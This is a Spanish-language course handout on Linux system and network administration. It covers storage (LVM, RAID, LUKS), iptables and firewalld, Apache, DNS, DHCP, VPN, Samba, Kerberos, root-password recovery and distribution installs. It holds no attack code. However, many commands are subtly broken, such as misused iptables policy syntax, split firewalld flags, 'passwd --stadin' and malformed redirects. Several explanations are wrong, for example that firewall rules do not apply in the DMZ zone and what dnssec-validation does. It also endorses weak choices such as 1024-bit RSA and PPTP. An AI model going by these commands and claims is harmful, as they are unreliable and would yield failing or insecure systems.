SEGURIDAD INFORMÁTICA

2022

Certificado de Profesionalidad
Nivel III

Profesor Javier García

Índice

Arranque en modo terminal y modo gráfico

En el terminal de Linux escribiremos el comando **startx** para un arranque del modo gráfico que hayamos instalado.

Para cambiar el arranque a modo terminal escribiremos lo siguiente:

systemctl set-default multi-user.target

Para cambiar el arranque a modo gráfico escribiremos lo siguiente:

systemctl set-default graphical.target

Almacenamiento

- LVM y NFS

Listar los bloques (discos):

lsblk

Crear particiones:

fdisk /dev/(nombre del disco)

Crear el volumen físico del LVM:

pvcreate /dev/(nombre del disco)

Crear el grupo de volumenes de LVM:

vgcreate VG_(nombre del grupo) **/dev/**(nombre del disco)

Crear el volumen lógico y asignar el tamaño:

lvcreate -L (tamaño)**G -n LV_**(nombre del volumen) **VG_**(nombre del grupo)

Crear el punto de montaje donde deseemos con **mkdir**.

Asignar un tipo de sistema de archivo al volumen lógico:

mkfs -t (sistema de archivo) **/dev/mapper/VG_**(nombre del grupo)**-** **LV_**(nombre del volumen)

Montar de forma temporal el volumen lógico:

mount /dev/mapper/VG_(nombre del grupo)**-LV_**(nombre del volumen) (punto de montaje)

Montar de forma permanente el volumen lógico:

- Crear una copia de trabajo para restablecer el fstab en caso de error:

cp /etc/fstab /etc/BK_fstab

- Enviamos el UUID del volumen lógico al fstab para su montaje definitivo:

blkid /dev/VG_(nombre del grupo)**-LV_**(nombre del volumen) **>> /etc/fstab**

- Editaremos el fstab para que quede así:

UUID=335a5e5e-42af-4dcd-a31e-b463e8491dd2 (punto de montaje) (sistema de archivos) **defaults 0 0**

- Comprobamos que el fstab no tenga errores usando el comando **mount -a**

Creamos los usuarios para el NFS y les asignamos una contraseña en **/home** usando el comando **adduser.**

Listamos los directorios "**home**" de los usuarios.

Movemos el directorio "**home**" de cada usuario del NFS al punto de montaje.

- RAID

Particionar los discos para el RAID:

fdisk /dev/(nombre del disco)

Formatear los discos:

mkfs -t (tipo) **/dev/**(nombre del disco)

Gestion del conjunto:

mdadm -v -C /dev/(nombre del conjunto) **-l** (nivel) **-n** (nºdiscos) **/dev/**(nombre del disco) **/dev/**(nombre del disco)

Montamos de forma temporal con el comando **mount**.

Montamos definitivamente introduciendo el UUID del conjunto en **fstab.**

- LUKS

Instalar los módulos criptográficos de LUKS **cryptsetup**.

Crear una partición en el disco que se desea habilitar para medio encriptado con **fdisk**.

Gestionar/habilitar el medio como encriptado usando **luksOpen**.

Formatear el medio encriptado usando **luksFormat**.

Montar el dispositivo encriptado en **/etc/crypttab** y en **/etc/fstab**.

- SWAP

Para añadir una partición swap el disco duro no puede estar en uso.

Usaremos **fdisk** para crear la partición swap. Recuerda que debes darle un tamaño doble a la memoria RAM de la que dispongas.

Los cambios tomarán efecto de inmediato. Ten cuidado con lo que escribes.

Ahora que tienes la partición swap, usa el comando **mkswap** para configurar la partición swap.

mkswap /dev/(nombre de la partición)

Para activar la partición swap inmediatamente escribe:

swapon /dev/(nombre de la partición)

Para activarlo en el arranque edita **/etc/fstab** para incluir:

/dev//dev/(nombre de la partición) **swap swap defaults 0 0**

La próxima vez que se arranque el sistema, activará la nueva partición swap.

Después de añadir la nueva partición swap y de haberla activado puedes asegurarte de que está activa con el comando:

cat /proc/swaps

IPAlias

Consiste en asignar varias IP a un interfaz de red, por ejemplo para servidores virtuales. IPAlias no funciona con DHCP, sólo en estático

- Vamos a **/etc/sysconfig/network-scripts**

- Editamos la configuración de red:

  - En diferentes rangos:

    TYPE="Ethernet"
    PROXY_METHOD="none"
    BROWSER_ONLY="no"
    BOOTPROTO="static"
    DEFROUTE="yes"
    IPV4_FAILURE_FATAL="no"

    IPADDR=(ip primaria)
    PREFIX=(**)
    GATEWAY=(puerta de enlace)
    DNS=(******)

    IPADDR0=(ip secundaria)
    PREFIX0=(**)

    IPADDR1=(ip terciaria)
    PREFIX1=(**)

    NAME="enp0s3"
    UUID="dcf56ad1-5dfd-4f23-b7e9-498e353fd523"
    DEVICE="enp0s3"
    ONBOOT="yes"

  - En el mismo rango:

    IPADDR_START=(ip por la que comenzará)
    IPADDR_END= (ip por la que terminará)
    PREFIX=(**)
    CLONENUM_START=0

Bonding

Consiste en asignar una misma IP a diferentes interfaces de red, por ejemplo en servidores de alta disponibilidad.

- Paramos y deshabilitamos el NetworkManager.

systemctl stop NetworkManager
systemctl disable NetworkManager

- Solicitamos información para saber si nuestro sistema admite el bonding.

modinfo bonding

- Creamos un interfaz virtual

vi /etc/sysconfig/network-manager/ifcfg-bond0

- Modos de bonding:

- Modo 0 (balance-roundrobin) Es el modo por defecto, transmite por orden secuencial empezando por la primera disponible.

```
DEVICE=bond0
TYPE=bond
NAME=bond0
BONDING_MASTER=yes
BOOTPROTO=none
ONBOOT=yes

IPADDR=192.168.1.129
PREFIX=24
GATEWAY=192.168.1.1
DNS=8.8.8.8

BONDING_OPTS="mode=0 miimon=100"
```

- Modo 1 (a prueba de fallos) Con este modo solo tenemos activo un slave en concreto

```
DEVICE=bond0
TYPE=bond
NAME=bond0
BONDING_MASTER=yes
BOOTPROTO=none
ONBOOT=yes

IPADDR=192.168.1.129
PREFIX=24
GATEWAY=192.168.1.1
DNS=8.8.8.8

BONDING_OPTS="mode=1 miimon=100"
```

- Modo 5 (balanceo de carga de esclavos) Balancea todo el trafico de salida, todo el trafico de entrada es recibido por el esclavo activo.

```
DEVICE=bond0
TYPE=bond
NAME=bond0
BONDING_MASTER=yes
BOOTPROTO=none
ONBOOT=yes

IPADDR=192.168.1.129
PREFIX=24
GATEWAY=192.168.1.1
DNS=8.8.8.8

BONDING_OPTS="mode=5 miimon=100"
```

- Si quisiéramos que el usuario no pudiera controlar el bonding añadiríamos:

```
USERCTL=none
```

- Configuramos cada interfaz de red:

```
TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
BOOTPROTO="none"
DEFROUTE="yes"
NAME="enp0s3"
DEVICE="enp0s3"
ONBOOT="yes"
HWADDR=08:00:27:02:47:9E
MASTER=bond0
SLAVE=yes
```

- Reiniciamos la red:

```
systemctl restart network
```

- Comprobamos usando **ip addr** o en el directorio **/proc/net/bonding/bond0**

IPTables

Se crea un fichero editable usando **nano** o **vi**.

Donde escribiremos lo siguiente:

#!/bin/bash que indica que es un fichero ejecutable escrito en bash.

iptables -F que borra las reglas previas de IPTables.

iptables -X que reinicia los contadores de las reglas de IPTables.

iptables -Z que pone a cero las reglas de IPTables.

Esto trabaja sobre la tabla filter por defecto, después de eliminar las políticas por defecto en la instalación del sistema operativo indicaremos cuales son las políticas que nosotros deseamos implementar.

iptables -P INPUT ACCEPT

(Esto es lo mismo que **iptables -t filter -P INPUT ACCESS**)

iptables -P OUTPUT ACCEPT

iptables -P FORWARD ACCEPT

- ***Enrutamiento nat con IPTables*.**

Borramos la tabla nat.

iptables -t nat -F

iptables -t nat -X

iptables -t nat -Z

Hay dos cadenas en la tabla nat que configuraremos: **PREROUTING** y **POSTROUTING**

iptables -t nat -P PREROUTING ACCEPT

iptables -t nat -P POSTROUTING ACCEPT

Si tenemos una o más redes a las que estemos dando servicio enmascaramos ip de las redes para que puedan salir a internet.

iptables -t nat -A POSTROUTING -s (ip de la red) **-o enp0s3 -j MASQUERADE**

Esto establece las políticas de filtrado por defecto.

Políticas permisivas:

Genera listas negras.

Políticas restrictivas:

Genera listas blancas.

Establecemos nuestras propias reglas de filtrado.

- ***Vamos a crear una regla para que no se haga ping a la máquina***.

iptables -A [cadena protocolo] [origen (si no se pone nada es para toda la red)] [destino] **-j** [acción]

Ejemplo:

iptables -A INPUT -p icmp -s 192.168.1.0/24 -j DROP

Si se pone una ip concreta (lista negra) no es necesario poner la mascara de subred.

- ***Denegar acceso a un puerto:***

iptables -A [cadena protocolo] [origen (no se pone nada porque es para localhost)] [destino] **-j** [acción]

Ejemplo:

iptables -A OUTPUT -p tcp --dport 80 -j DROP

- ***Denegar acceso a internet usando los puertos bien conocido usados para ello:***

El protocolo TCP está orientado a la comunicación (http, ssh, ftp, etc.).

Todos los paquetes tienen un sufijo llamado "checksum"(xor)y mantiene un control de errores de los paquetes durante toda la comunicación. Da y solicita confirmación de recepción de los paquetes.

Ejemplo:

iptables -A OUTPUT -p tcp --dport 80 -j DROP

iptables -A OUTPUT -p tcp --dport 443 -j DROP

El protocolo UDP está orientado a la velocidad (videojuegos, streaming, tv online, etc.).

No solicita confirmación de recepción de paquetes y confía en la corrección de errores del destinatario.

Ejemplo:

iptables -A OUTPUT -p udp --dport 80 -j DROP

iptables -A OUTPUT -p udp --dport 443 -j DROP

- ***Filtrado por nombres de dominio:***

iptables -A [cadena protocolo] [origen (no se pone nada porque es para localhost)] [destino] **-j** [acción]

Ejemplo:

iptables -A OUTPUT -p tcp -d www.marca.com **-j DROP**

- ***Limitar acceso por MAC.***

iptables -A [cadena protocolo] [origen] [destino (no se pone nada porque el destino es localhost)] **-j** [acción]

Ejemplo:

iptables -A OUTPUT -m --mac-source 00:ca:ca:fa:ba:da **-j DROP**

- ***Limitar el número de conexiones desde una misma ip:***

iptables -A [cadena protocolo] [origen] [destino (no se pone nada porque el destino es localhost)] módulo [número de conexiones máximas permitidas] **-j** [acción]

Ejemplo:

iptables -A INPUT -p tcp --dport 80 -m connlimit –connlimit-above 10 -j DROP

iptables -A INPUT -p tcp --dport 443 -m connlimit –connlimit-above 10 -j DROP

- ***Seguimiento de paquetes de salida:***

iptables -A [cadena protocolo] módulo [estado del módulo] **-j ACCEPT**

Primero se elimina el acceso a todos los paquetes de entrada, esto impediría TODAS LAS CONEXIONES al equipo.

iptables -P INPUT DROP

Para impedir determinadas conexiones indicamos el protocolo y el puerto, por ejemplo:

iptables -P INPUT -p tcp --dport 80 -j DROP

iptables -P INPUT -p tcp --dport 443 -j DROP

Se indica el seguimiento de los paquetes que salen.

iptables -A OUTPUT -p tcp -m conntrack -ctstate ESTABLISHED,RELATED -j ACCEPT

Una vez establecidas las reglas y políticas de IPTables se le dan permisos de ejecución al script con el comando **chmod**.

Se ejecuta con el comando **./** seguido del nombre del fichero.

Fuera del script se listan las reglas con el comando **iptables -L**

Para hacer enrutamiento NAT con nuestra máquina:

Seguimos el path **cd /proc/sys/net/ipv4/**, editamos el fichero **ip_forward** que encontraremos y cambiamos el "**0**" por un "**1**".

FIREWALLD

ZONA:

Es un conjunto que define el nivel de confianza para un trafico determinado.

DROP:

Es la zona con un nivel de confianza mas baja, en esta zona el trafico es rechazado sistemáticamente a la entrada, habilitándose solo el trafico de salida

BLOCK:

Esta zona es similar a drop pero los paquetes se rechazan enviándose un mensaje de rechazo vía icmp.

PUBLIC:

En esta zona solo se acepta el trafico que se permite explícitamente.

EXTERNAL:

Es la zona que utilizamos cuando llevamos a cabo tareas de enmascaramiento o enrutamiento

DMZ (demilitarized zone):

En esta zona las reglas del firewall NO SE APLICAN.

WORK:

Es la zona que se utiliza para la creación de áreas de trabajo.

HOME:

Es la zona que se usa para las zonas de trabajo domesticas.

TRUSTED:

Es la zona de trabajo con un nivel de confianza mas alto.

Las reglas pueden definirse de forma temporal o permanente.

Comandos de firewalld

Ver estado del firewall:

firewall-cmd --state

Ver nuestra zona por defecto:

firewall-cmd --get -default -zone

Ver reglas de una zona:

firewall-cmd --list -all

Ver todas las zonas:

firewall-cmd --get -zones

Ver reglas de una zona determinada:

firewall-cmd --zone=(zona) **--list-all**

Cambiar un interface de zona:

firewall-cmd --zone=(zona) **--change-interface=enp0s3**

Ver zonas activas:

firewall-cmd --get-active-zones

Añadir un servicio a una zona:

firewall-cmd --zone=public --add-service=(servicio)

Idem pero de forma permanente:

firewall-cmd --permanent --zone=public –add-service=(servicio)

NOTA: cuando usamos el parametro **--permanent** es necesario recargar los valores del firewall con el comando **firewall-cmd --reload**

Ver los servicios disponibles:

firewall-cmd --get -services

Abrir un servicio que no esta en la lista por su n.º de puerto:

firewall-cmd --permanent –zone=(zona)
--add-port=(puerto)/(protocolo)

Listar los puertos abiertos en el firewall:

firewall-cmd --list-ports

Crear una zona personalizada:

firewall-cmd --permanent –new-zone=(nombre de la zona)

Bloquear alteraciones del firewall:

firewall-cmd --lockdown-on

Permitir alteraciones del firewall:

firewall-cmd --lockdown-off

Instalación de un servidor Apache

Para instalar un servidor Apache sobre CentOS 7 necesitaremos instalar php, maríadb y el propio Apache:

yum install httpd

Esto nos creará un directorio cuyo path sería **/var/www/html** donde podremos instalar el CMS o lo que necesitemos para funcionar.
Acto seguido sólo resta establecer el arranque de los servicios y si queremos que arranquen al inicio de la máquina.

systemctl enable httpd (esto hace que arranque el servicio al inicio)
systemctl start httpd (esto hace que arranque el servicio en el momento)

Montar un servidor Apache con SSL (https)

- Instalamos OpenSSL para poder crear los certificados correspondientes.
  yum install openssl
  Creamos el directorio donde instalaremos el certificado SSL.
  mkdir /etc/httpd/ssl
- Crearemos el certificado SSL e indicaremos cual es el tipo de encriptación, la fuerza de la misma, el tiempo de caducidad y los ficheros de salida del certificado.
  openssl req -x509 -nodes -days 365 -newkey rsa:1024 -out /etc/httpd/ssl/apache.crt -keyout /etc/httpd/ssl/apache.key
- Instalaremos el módulo SSL que crea el fichero de configuración de SSL en Apache
  yum install mod_ssl

- En **/etc/httpd/conf.d/ssl.conf** está la configuración del https. Estas dos líneas deben ir descomentadas para que coja el certificado de Apache por defecto:

  SSLCertificateFile /etc/pki/tls/certs/localhost.crt

  SSLCertificateKeyFile /etc/pki/tls/private/localhost.key
- Reiniciamos el servidor Apache para que añada la nueva configuración.

Instalación de un CMS

Sobre el servidor Apache que hemos instalado previamente descargamos el fichero que contiene el CMS (en formato comprimido o empaquetado) en la carpeta **/var/www/html** a través de enlaces o de cualquier otra forma.

cd /var/www/html (vamos al directorio html)

lynx www.google.com (buscamos en google nuestro cms y lo descargamos)

Buscaremos un archivo comprimido (.***tar.gz*** ó .***zip***).

Descomprimimos o desempaquetamos el CMS, el procedimiento dependerá del tipo de fichero que hayamos descargado, por ejemplo:

tar xf fichero.tar

unzip fichero.zip

Ahora ya podemos intentar ver la pagina web que hemos descargado, aunque lo mas probable es que este realizada en php y esta no funcione, si es asi veremos el codigo fuente en php de la maquina. para solucionar esto instalaremos php y reiniciaremos el servidor web, también podemos instalar mysql y phpmyadmin, reiniciando antes de ir al navegador todos los servicios.

yum install php mariadb phpmyadmin

Conectamos al servidor con un navegador web.

DHCP

Instalamos el daemon de dhcp:

yum install dhcpd

Editamos el archivo **/etc/dhcp/dhcpd.conf** para que quede de la siguiente forma:

subnet (red) **netmask** (máscara subred) **{**
  range (rango de IP que va a dar);
  option domain-name-servers (dns);
  option routers (ip del interfaz de red del servidor);
  option broadcast-address (dirección de broadcast de la red);
  default-lease-time (tiempo de uso de IP en segundos por defecto);
  max-lease-time (tiempo máximo de uso de IP en segundos);
}

(Esto se repetirá tantas veces como redes deba gestionar el servidor)

host estatica1{
  hardware ethernet 08:00:27:9E:35:CA;
  fixed-address 200.200.200.100;
}

 # You can declare a class of clients and then do address allocation
 # based on that. The example below shows a case where all clients
 # in a certain class get addresses on the 10.17.224/24 subnet, and all
 # other clients get addresses on the 10.0.29/24 subnet.

class "foo" {
  match if substring (option vendor-class-identifier, 0, 4) = "SUNW";
}

```
shared-network 224-29 {
  subnet 10.17.224.0 netmask 255.255.255.0 {
    option routers rtr-224.example.org;
  }
  subnet 10.0.29.0 netmask 255.255.255.0 {
    option routers rtr-29.example.org;
  }
  pool {
    allow members of "foo";
    range 10.17.224.10 10.17.224.250;
  }
  pool {
    deny members of "foo";
    range 10.0.29.10 10.0.29.230;
  }
}
```

DNS

Instalaremos bind en nuestra máquina.

yum install bind
yum install bind-utils

Lo pondremos en funcionamiento.

systemctl enable named
systemctl start named

Habilitaremos el DNS en firewalld.

firewall-cmd --permanent --zone=public --add-service=dns
firewall-cmd --reload

Configuramos el DNS en **/etc/named.conf** de la siguiente manera:

- Comentaremos esta linea para que el DNS deje de escuchar a localhost en IPV4.

#listen-on port 53 { 127.0.0.1; };

- Comentaremos esta linea para que el DNS deje de escuchar a localhost en IPV6.

#listen-on-v6 port 53 { ::1; };

- Ponemos "**any**" para que le permita escuchar a cualquier ip de la red.

allow-query   {any; };

- Indicamos que no valide DNS secundarios.

dnssec-validation no;

Comprobamos que la configuración es correcta:

named-checkconf

Reiniciamos el servicio y comprobamos el estado.

systemctl restart named
systemctl status named

Hacemos un nmap y tiene que abrir el puerto 53.

Editamos el fichero **/etc/sysconfig/named** introduciendo la linea **OPTIONS="-4"**, lo que indica que sólo admita IPV4, y reiniciamos el servicio.

Editaremos el fichero **/etc/resolv.conf**.

Comentaremos esta linea para indicar que no se usará el DNS por defecto de la red.

#search [servidor DNS actual]

Indicamos que sólo use el servidor que estamos configurando.

nameserver [ip del servidor]

Montamos un dominio editando **/etc/named.conf**.

zone "(nombre del dominio)" IN {
type master; (principal)
file "named.(nombre del dominio)**";**
};

Copiaremos el fichero **/var/named/named.empty**.

cp /var/named/named.empty var/named/named.(nombre del dominio)

Editaremos el fichero **var/named/named.**(nombre del dominio) y quedará así:

```
$TTL 1D
@       IN SOA  ns.seguridadredes7.lan. root.seguridadredes7.lan. (
                1               (la serie de servidor, cómo es el primero ponemos 1)
                                (Por defecto: 0; serial)
                604800          (valores en segundos de refresco)(Por defecto: 1D;
                                refresh)
                86400           (valores en segundos de reintento)(Por defecto: 1H;
                                retry)
                23423423        (expira en estos segundos)(Por defecto: 1W; expire)
                86400)          (valores en segundos mínimo)(Por defecto: 3H;
                                minimum)
        NS @
        IN A [ip local]
```

*****ATENCIÓN: CUIDADO CON LOS TABULADORES*****

Comprobamos la configuración.

named-checkzone (nombre del dominio) **/var/named/named.**(nombre del dominio)

Hacemos ping a (hostname)**.**(dominio) para comprobar que resuelve el nombre del dominio.

También podemos cambiar la resolución de nombres de la máquina editando el fichero **/etc/host** y poniendo una ip estática a cada máquina externa.

VPN

Buscaremos e instalaremos los paquetes **pptpd** y **ppp**.

Iniciamos el servidor pptpd y observamos que el puerto 1723 queda abierto.

Haremos una copia de trabajo del fichero de configuración del pptpd **/etc/pptpd.conf** a fin de editarlo para que quede de la siguiente forma:

(Abajo del todo están las líneas de configuración de ip local e ip remota)

#IMPORTANT RESTRICTIONS:
#
#1. No spaces are permitted between commas or within addresses.
#
#2. If you give more IP addresses than the value of connections,
#it will start at the beginning of the list and go until it
#gets connections IPs. Others will be ignored.
#
#3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,
#you must type 234-238 if you mean this.
#
#4. If you give a single localIP, that's ok - all local IPs will
#be set to the given one. You MUST still give at least one remote
#IP for each simultaneous client.
#
#(Recommended)
#localip 192.168.0.1
#remoteip 192.168.0.234-238,192.168.0.245
 # or
localip (ip que asignará la vpn al servidor)
remoteip (ip que asignará la vpn a los usuarios)

Crear los usuarios de la VPN editando **/etc/ppp/chap-secrets**.

#Secrets for authentication using CHAP
 # client server secret IP addresses
(usuario) **pptpd** (contraseña) **"*"**
(usuario) **pptpd** (contraseña) **"*"**

SAMBA

Instalamos el paquete "samba-x86_64" que es el servidor y "samba-client.x86_64" que es el cliente:

yum install samba samba-client

Ponemos los dos servicios de que consta samba en funcionamiento:

systemctl enable nmb
systemctl start nmb

systemctl enable smb
systemctl start smb

Observamos que se abren los puertos 139 y 445.

Se añade la excepción al firewall.

Añadir la carpeta a compartir con Windows:

mkdir (directorio a compartir)

Crear un grupo para compartir:

groupadd (nombre del grupo)

Ponemos el grupo como propietario del directorio compartido:

chgrp (nombre del grupo) (directorio a compartir)

Añadimos los usuarios al grupo:

useradd -M -d /(directorio a compartir)**/**(usuario) **-s /user/sbin/nologin -G** (nombre del grupo) (usuario)

Este usuario solo puede acceder al directorio compartido, no podrá logarse en el sistema.

Creamos la carpeta del usuario dentro de la carpeta compartida:

mkdir /(directorio a compartir)**/**(usuario)

Cambiamos el propietario de la carpeta del usuario:

chown (usuario)**:**(grupo) **/**(directorio)**/**(usuario)

Ponemos contraseña para SAMBA:

smbpasswd -a (usuario)

Habilitamos el usuario en SAMBA:

smbpasswd -e (usuario)

Configuramos SAMBA:

- Haremos una copia de trabajo de **/etc/samba/smb.conf** y lo editaremos con los parámetros que más nos convengan:

Por ejemplo:

 # See smb.conf.example for a more detailed config file or
 # read the smb.conf manpage.
 # Run 'testparm' to verify the config is correct after
 # you modified it.

[global]

workgroup = WORKGROUP (ponemos el grupo de trabajo)
security = user (ponemos el acceso con usuario y contraseña)

passdb backend = tdbsam

printing = cups (estos parámetros los dejamos por defecto)
printcap name = cups (estos parámetros los dejamos por defecto)
load printers = yes (estos parámetros los dejamos por defecto)
cups options = raw (estos parámetros los dejamos por defecto)

[users]

path = /samba (carpeta compartida)
browsable = yes (permisos para compartir archivos entre usuarios)
read only = no (permisos para NO solo lectura)
writable = yes (permisos para escribir los ficheros)
force create mode = 0660 (permisos para crear ficheros, siempre con el 0 delante)
force directory mode = 2270 (permisos para crear directorios, siempre con el 0 detrás)

[usuario] (restricciones a un usuario concreto)
path = /samba/(usuario)
valid user = (usuario)

Reiniciamos el servicio:

systemctl restart smb

systemctl restart nmb

Para mover un servidor SAMBA de red local a red externa usaremos VPN.

FTP

Instalamos el FTP que nos interese:

yum install pure-ftpd

Activamos el FTP al inicio:

systemctl enable pure-ftpd

Configuramos el FTP a nuestra conveniencia editando el fichero **/etc/pure-ftpd/pure-ftpd.conf**

Iniciamos el servicio:

systemctl start pure-ftpd

KERBEROS

Podemos encontrar información completa en el siguiente enlace

https://web.mit.edu/kerberos

Kerberos es un servicio de autenticación deslocalizado de clave simétrica. Recuerda dar ip estática al servidor y los clientes.

Empezaremos poniendo un FQDM (Fully Qualified Domain Name) válido al servidor.

hostnamectl set-hostname (nombre del equipo)**.**(nombre de dominio)**.**(lo que sea)

Editamos el archivo **/etc/hosts** para darle ip estática poniendo en 127.0.1.1 el nombre que le hemos puesto al servidor y escribimos la IP bajo el 127.0.1.1 dándole el mismo nombre.

Instalamos el paquete del servidor Kerberos, los podemos buscar en los repositorios (**apt-cache search kerberos** o **yum search kerberos**).

Los paquetes son "krb5-kdc", "krb5-admin-server" y "krb5-config"

Seguimos las instrucciones del instalador de Kerberos (versión 5 en este caso).

- Nos solicita el nombre del reino por defecto y pondremos el nombre de dominio.

- Nos solicita el nombre del servidor y pondremos (nombre del equipo)**.** (nombre de dominio)**.**(lo que sea)

- Nos solicita el nombre del servidor administrativo y pondremos (nombre del equipo)**.**(nombre de dominio)**.**(lo que sea)

Le ponemos una contraseña al servidor.

krb5_newrealm

Creamos una máquina local con el comando **kadmin.local**

- Creamos un administrador:

addprinc root/admin

- Añadimos nuestro servidor a la base de datos de Kerberos.

addprinc -randkey (contraseña aleatoria) **host/**(nombre del equipo)**.**(nombre de dominio)**.**(lo que sea)

- Añadimos un usuario local que va a ser nuestra máquina:

ktadd host/(nombre del equipo)**.**(nombre de dominio)**.**(lo que sea)

Editamos el fichero de ACL del servidor Kerberos en **/etc/krb5kdc/kadm5.acl** para añadir administradores de nuestro Kerberos (añadiremos el administrador que hemos creado antes).

Iniciamos nuestro servidor Kerberos.

systemctl start krb5-admin-server

Creación del cliente KERBEROS

Ponerle un FQDM (Fully Qualified Domain Name) válido al cliente dentro del dominio del servidor.

> **hostnamectl set-hostname** (nombre del equipo)**.**(nombre de dominio)**.**(lo que sea)

Editamos el archivo **/etc/hosts** para darle ip estática poniendo en 127.0.1.1 el nombre que le hemos puesto al cliente y escribimos la IP del cliente bajo el 127.0.1.1 dándole el mismo nombre y la ip del servidor con el nombre del servidor.

Instalaremos los paquetes krb5-user, libpam-krb5 y libpam-ccreds

Seguiremos los pasos de la ventana de configuración del cliente Kerberos.

Recuperación de un sistema CentOS 7 sin contraseña

Arrancamos la máquina de CentOS y detenemos el arranque.

Elegimos entrar "**e**" para editar el arranque elegido.

Editaremos la linea que empieza por "**linux16**" borrando "**quiet**", poniendo al final de la linea "**rd.break**" y pulsamos "**crtl + x**".

Montaremos el sistema:

mount -oremount,rw /sysroot

Pondremos a root en su lugar

chroot /sysroot

Cambiamos la contraseña de root:

echo (nueva contraseña) **| passwd --stadin root**

Terminamos reetiquetando el sistema operativo en caso de que SELinux esté activo.

touch /.autorelabel

Después saldremos tecleando "**exit**" y reiniciaremos con "**reboot**".

Nos logaremos como "**root**" con la nueva contraseña.

Variables de entorno

Usando el comando "**env**" nos saca todas las variables de entorno y nos permite editar las variables de forma no permanente.

Por Ejemplo:

env LANG=us_US.UTF8

Usando el comando "**printenv**" nos saca todas las variables de entorno o una variale de entorno concreta.

printenv [VARIABLE (en mayúsculas)]

- Variables que debemos conocer:

- **SHELL** (es el interprete de comandos).

- **TERM** (es terminal es un programa cuyo objetivo principal es leer comandos y ejecutar otros programas).

- **USER** (es el usuario que ha iniciado sesión).

- **PWD** (indica la localización del entorno actual).

- **OLDPWD** (indica la localización del entorno anterior).

- **LS_COLORS** (almacena los códigos de color que va usar al listar).

- **MAIL** (almacena la ruta del buzón de correo del usuario actual).

- **PATH** (listado de rutas del sistema donde encontrar los comandos).

- **LANG** (indica la configuración actual de lenguaje, ubicación del idioma y codificación de idioma).

- **_** (barra baja, indica el último comando ejecutado).

- **UID** (indica el id del usuario actual).

- **SHELLOPTS** (indica las opciones del SHELL).

- **HOSTNAME** (indica el nombre de la máquina en la que estamos trabajando).

- **PS1, PS2,** etc. (definen entradas en la linea de comandos, por ejemplo los argumentos de un script).

- **HISTSIZE** (indica el tamaño del historial permitido en la linea de comandos).

- **HISTFILESIZE** (define el tamaño máximo del fichero que almacena el historial).

- **DIRSTACK** (es el conjunto de directorios accesibles con "**pushd**", que pone un directorio al final de un shellscript, y "**popd**", que borra el último directorio de un shellscript).

- **COLUMNS** (establece el número de columnas en los que se muestran los listados).

- **BASH_VERSION** (indica la versión de bash que se está ejecutando).

- **IFS** (indica cual es el separador de campos).

- **DISPLAY** (en entorno gráfico indica el tipo de entorno y las pantallas utilizadas usando "**host:instancia**" con valores numéricos, por ejemplo en blanco para localhost y **0** para la pantalla primaria).

Crear o editar variables de entorno:

- Se usa el comando "**set**" si estás dentro de bash o "**export**" desde cualquier ubicación.
  Sintaxis:

  export [VARIABLE]=[valor de la variable]

Eliminar una variable de entorno:

- Se usa el comando "**unset**".
  Sintaxis:

  unset [VARIABLE]

Perfiles de variables:

- Se almacenan en **/etc/bashrc** y se pueden editar, aunque ***NO ES RECOMENDABLE.***

Permisos ACL

Creación de ACL's:

-Sintaxis:

setfacl -m [opción a(all), u(user), o(others)]**:**[usuario (en caso de ser usuarios concretos)]**:**[permisos(r lectura, w escritura, x ejecución)] [fichero]

Eliminación de ACL's:

-Sintaxis:

setfacl -b [fichero]

Eliminar el ACL de un usuario:

-Sintaxis:

setfacl -x u:[usuario] [fichero]

Para saber las ACL de un archivo o directorio:

-Sintaxis:

getfacl [fichero]

Instalación de ArchLinux

Comprobamos que tenemos dirección ip y por lo tanto conexión a internet.

Nos colocamos el teclado en español por comodidad con el comando:

loadkeys es

Activamos NTP con el comando:

timedatectl set-ntp true

Creamos dos particiones, una para el sistema y otra de SWAP (recordad, de SWAP colocamos el doble que de memoria RAM más o menos)

fdisk /dev/(nombre del disco)

Formateamos la partición del sistema:

mkfs.ext4 /dev/(nombre de la partición)

mkswap /dev/(nombre de la partición)

swapon /dev/(nombre de la partición)

Montamos la partición:

mount dev/(nombre de la partición) **/mnt**

Instalamos el sistema base:

pacstrap /mnt base linux linux-firmware

Generamos el fstab:

genfstab -U mnt >> /mnt/etc/fstab

Enjaulamos el sistema que acabamos de instalar para que los cambio se realicen en él:

arch-chroot /mnt

Establecemos zona horaria y reloj:

ln -sf /usr/share/zoneinfo/Europe/Madrid /etc/localtime
hwclock –systohc

Creamos el fichero hostname:

echo miarchlinux > > /etc/hostname

Creamos los ficheros de idioma:

locale-gen

echo LANG=es_ES.UTF-8 > > /etc/locale.conf

Editamos el fichero **locale.gen** para descomentar el idioma que deseamos activar y volvemos a ejecutar el comando:

locale-gen

Establecemos el mapa del teclado:

echo KEYMAP=es > > /etc/vconsole.conf

Salimos de la jaula con el comando **exit**

Configuramos el gestor de arranque:

pacstrap /mnt grub-bios

Enjaulamos de nuevo el sistema:

arch-chroot /mnt

Generamos el arranque:

grub-install /dev/(nombre de disco)

grub-mkconfig -o /boot/grub/grub.cfg

Finalmente generamos un password para el **root**, desmontamos y reiniciamos el sistema:

passwd

exit

umount /mnt

reboot

Si al reiniciar no tuviésemos **IP** seguimos los siguientes pasos:

- Creamos un fichero de configuración para nuestra tarjeta de red:

nano /etc/systemd/network/tarjeta.network

- Añadimos el siguiente contenido para obtener ip via dhcp:

[Match]
Name=(nombre de la tarjeta de red)

[Network]
DHCP=ipv4
UseDNS=false
DNS=8.8.8.8

- Activamos los servicios:

systemctl enable systemd-networkd.service

systemctl start systemd-networkd.service

systemctl enable systemd-resolved.service

systemctl start systemd-resolved.service

Instalación de GentooLinux

Se recomienda la iso minimal, Gentoo de unos 350 MB.

Creamos las particiones de instalación, crearemos una para **boot**, otra para **/**, otra para **home** y una para **swap**, aunque se podría crear una sola y en el proceso de instalación se crearían todas.

Formateamos todas las particiones como ext4 y activamos la SWAP:

mkfs -t ext4 /*dev*/(nombre de la partición)

mkswap /*dev*/(nombre de la partición)

swapon /*dev*/(nombre de la partición)

Creamos un puntos de montaje para nuestra instalación y montamos las particiones:

mkdir -p /mnt/gentoo/boot

mkdir /mnt/gentoo/home

mount /dev/particion /*mnt*/gentoo/

mount /dev/particion /*mnt*/gentoo/boot

mount /dev/particion /*mnt*/gentoo/home

Descargamos y descomprimimos el fichero stage3(árbol de directorios de Gentoo) en el punto de montaje de Gentoo que hemos creado:

cd /*mnt*/gentoo

wget http://bouncer.gentoo.org/fetch/root/all/releases/amd64/autobuilds/20220807T170536Z/stage3-amd64-systemd-20220807T170536Z.tar.xz
